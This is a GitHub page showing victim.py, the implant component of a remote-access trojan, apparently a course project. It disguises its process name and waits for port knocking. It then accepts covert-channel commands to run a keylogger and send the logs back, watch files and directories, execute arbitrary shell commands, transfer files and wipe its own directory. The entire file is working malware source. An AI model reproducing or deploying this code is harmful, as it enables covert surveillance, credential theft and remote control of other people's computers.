-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathvictim.py
215 lines (177 loc) · 6.74 KB
/
victim.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
import argparse
from keylogger import *
from watcher import *
from portknocker import port_knocking
from processname import choose_process_name
import setproctitle
from utils import get_ip_address, transfer_keylog_file, check_exists
import shutil
def handle_command(command: int, keylogger, watcher, covert):
"""
Handle the received command.
Args:
command (int): Received command.
keylogger (Keylogger): Keylogger instance.
watcher (Watcher): Watcher instance.
covert (CovertChannel): Covert channel instance.
Returns:
int: Result code.
"""
if command == 0:
return 0
print(f"VICTIM:: Command Received", end=" ")
if command == 1:
print("VICTIM:: Received command to start the keylog program...")
keylogger.start_keylogger()
return 1
elif command == 2:
print("VICTIM:: Received command to stop the keylog program...")
if not keylogger.get_status():
print("VICTIM:: Keylogger is not running.")
return 2
val = keylogger.stop_keylogger()
if val == 0:
print("VICTIM:: Keylogger has been stopped.")
return 2
elif command == 3:
print("VICTIM:: Received command to transfer the keylog file...")
return transfer_keylog_file(keylogger, covert, "keylog.txt")
elif command == 4:
print(f"VICTIM:: Received command to watch file...")
file = covert.receive_data(for_victim=True)
i = check_exists(file)
if not i or watcher.get_status():
covert.cmd = 0
covert.send_data(for_victim=False)
covert.cmd = None
if not watcher.init_watcher():
print("VICTIM:: Error, Watcher already running")
return 7
elif not i:
print("VICTIM:: File Path Not Found")
return 7
covert.cmd = 1
covert.send_data(for_victim=False)
covert.cmd = None
watcher.toggle_file()
watcher.start_watching(covert, file)
return 7
elif command == 5:
print(f"VICTIM:: Received command to stop the watch file...")
if not watcher.get_status():
print("VICTIM:: Cannot stop the watcher, not Watching a File")
return 5
val = watcher.stop_watching()
return 5
elif command == 6:
print(f"VICTIM:: Received command to watch directory...")
direc = covert.receive_data(for_victim=True)
i = check_exists(direc)
if not i or watcher.get_status():
if not watcher.init_watcher():
print("VICTIM:: Error, Watcher already running")
covert.cmd = 0
covert.send_data(for_victim=False)
covert.cmd = None
return 6
elif not i:
print("VICTIM:: Error, directory path not found")
covert.cmd = 0
covert.send_data(for_victim=False)
covert.cmd = None
return 6
covert.cmd = 1
covert.send_data(for_victim=False)
covert.cmd = None
watcher.toggle_dir()
watcher.start_watching(covert, direc)
return 6
elif command == 7:
print(f"VICTIM:: Received command to stop the watch directory...")
if not watcher.get_status():
print("VICTIM:: Error, Not Watching a Directory")
return 7
val = watcher.stop_watching()
if val == 0:
print(f'VICTIM:: Stopped watching the directory')
return 7
elif command == 8:
print(f"VICTIM:: Received command to run a program...")
prog = covert.receive_data(for_victim=True)
try:
output = subprocess.check_output(prog, shell=True, universal_newlines=True)
if output:
covert.cmd = output
else:
covert.cmd = 1
covert.send_data(for_victim=False)
except subprocess.CalledProcessError as e:
print(f"Error: {e}")
covert.cmd = 0
covert.send_data(for_victim=False)
covert.cmd = None
return 8
elif command == 9:
print(f"VICTIM:: Received command to send a file...")
file = covert.receive_data(for_victim=True)
if check_exists(file):
covert.cmd = None
covert.file_name = file
covert.send_data(for_victim=False, event="IN_CREATE")
covert.file_name = None
else:
print(f"VICTIM:: {file} does not exist")
return 9
elif command == 10:
print(f"VICTIM:: Receiving a file from the commander...")
covert.receive_data(for_victim=True)
covert.cmd = 1
covert.send_data(for_victim=False)
covert.cmd = None
return 10
elif command == 11:
print("VICTIM:: Disconnecting")
return 11
elif command == 12:
print("VICTIM:: Tearing down from the victim...")
current_directory = os.getcwd()
shutil.rmtree(current_directory)
return 12
else:
print("VICTIM:: Error, Unknown command")
return 13
def main():
proc_name = choose_process_name()
setproctitle.setproctitle(proc_name)
parser = argparse.ArgumentParser()
parser.add_argument('-p', '--port', type=int, dest='port', default=6000)
args = parser.parse_args()
keylogger_instance = Keylogger()
watcher_instance = Watcher()
victim_ip = get_ip_address()
victim_port = args.port
while True:
print(f"\n---WAITING FOR PORT KNOCK---")
cmd_ip, cmd_port = port_knocking(get_ip_address())
print(f"\n---FOUND THE COMMANDER {cmd_ip, cmd_port}---")
letters = input("ENTER KEY FOR ENCRYPTION: ")
key = bytes(letters.encode('ascii'))
covert_channel = CovertChannel(
victim_addr=victim_ip,
victim_port=victim_port,
cmd_addr=cmd_ip,
cmd_port=cmd_port, key=key
)
while True:
try:
print(f"\n---WAITING FOR CMD FROM THE COMMANDER---")
command = int(covert_channel.receive_data(for_victim=True))
except KeyboardInterrupt as e:
print(f"Error {e}")
else:
result = handle_command(command, keylogger_instance, watcher_instance, covert_channel)
if result == 11 or result == 0:
print("VICTIM:: DISCONNECTING")
break
if __name__ == "__main__":
main()